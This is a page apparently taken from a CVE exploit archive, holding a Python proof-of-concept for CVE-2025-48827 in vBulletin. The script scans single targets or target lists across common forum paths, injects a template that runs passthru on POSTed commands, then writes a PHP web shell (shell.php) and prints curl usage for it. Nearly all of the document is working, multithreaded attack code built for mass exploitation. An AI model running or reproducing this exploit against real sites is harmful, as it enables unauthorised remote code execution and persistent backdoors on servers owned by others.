4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-48827.py PY
import requests
import sys
import urllib3
import re
import argparse
import threading
import time
from concurrent.futures import ThreadPoolExecutor

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
CYAN = "\033[36m"
BOLD = "\033[1m"
RESET = "\033[0m"

COMMON_PATHS = ['/', '/forum/', '/vb/', '/community/', '/forums/']
progress_lock = threading.Lock()
progress_count = 0
total_targets = 0

def parse_args():
    parser = argparse.ArgumentParser(
        description="Identify and upload shell on vBulletin targets.",
        epilog="Usage:\n"
               "Use help page of the tool by using -h or --help parameters",
        formatter_class=argparse.RawTextHelpFormatter
    )
    parser.add_argument('--url', help='Single target URL', type=str)
    parser.add_argument('--list', help='File with list of targets', type=str)
    parser.add_argument('--threads', help='Threads to use (default: 5)', type=int, default=5)
    parser.add_argument('--timeout', help='Request timeout in seconds (default: 10)', type=int, default=10)
    return parser.parse_args()

def initial_check(base_url, timeout):
    base_url = base_url.rstrip('/')
    for path in COMMON_PATHS:
        full_url = base_url + path
        try:
            r = requests.get(full_url, timeout=timeout, verify=False)
            if "vBulletin" in r.text or "vbulletin" in r.text:
                return full_url
        except:
            pass
    return None

def test_rce(session, url):
    inject_data = {
        "routestring": "ajax/api/ad/replaceAdTemplate",
        "styleid": "1",
        "location": "rce",
        "template": '<vb:if condition=\'passthru($_POST["cmd"])\'> </vb:if>'
    }
    try:
        r = session.post(url, data=inject_data, verify=False)
        return r.text.strip() == "null"
    except:
        return False

def drop_shell(session, url):
    shell_code = '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>'
    cmd = f"echo {repr(shell_code)} > shell.php"
    drop_data = {
        "routestring": "ajax/render/ad_rce",
        "styleid": "1",
        "location": "rce",
        "cmd": cmd
    }
    try:
        session.post(url, data=drop_data, verify=False)
        print(GREEN + f"[+] Shell uploaded: {url}shell.php" + RESET)
        print(YELLOW + f"    Usage: curl '{url}shell.php?cmd=id'" + RESET)
    except:
        print(RED + "[-] Shell upload failed." + RESET)

def scan_target(base_url, timeout):
    global progress_count
    if not base_url.startswith("http"):
        base_url = "http://" + base_url
    found_path = initial_check(base_url, timeout)
    if found_path:
        session = requests.Session()
        if test_rce(session, found_path):
            print(GREEN + f"\n[+] Vulnerable vBulletin RCE: {found_path}" + RESET)
            drop_shell(session, found_path)
        else:
            print(YELLOW + f"\n[-] vBulletin found but not vulnerable: {found_path}" + RESET)
    with progress_lock:
        progress_count += 1

def print_progress():
    while True:
        with progress_lock:
            sys.stdout.write(f"\r[*] {progress_count} of {total_targets} URLs scanned.")
            sys.stdout.flush()
            if progress_count >= total_targets:
                break
        time.sleep(0.5)

def main():
    global total_targets
    args = parse_args()

    targets = []
    if args.url:
        targets.append(args.url)
    elif args.list:
        try:
            with open(args.list, "r") as f:
                targets = [line.strip() for line in f if line.strip()]
        except:
            print("[-] Failed to read target list.")
            sys.exit(1)
    else:
        print("[-] Provide --url or --list.")
        sys.exit(1)

    total_targets = len(targets)
    print(f"[*] Scanning {total_targets} target(s)...")

    t = threading.Thread(target=print_progress)
    t.start()

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        for target in targets:
            executor.submit(scan_target, target, args.timeout)

    t.join()
    print("\n[*] Scan completed.\n")

if __name__ == "__main__":
    main()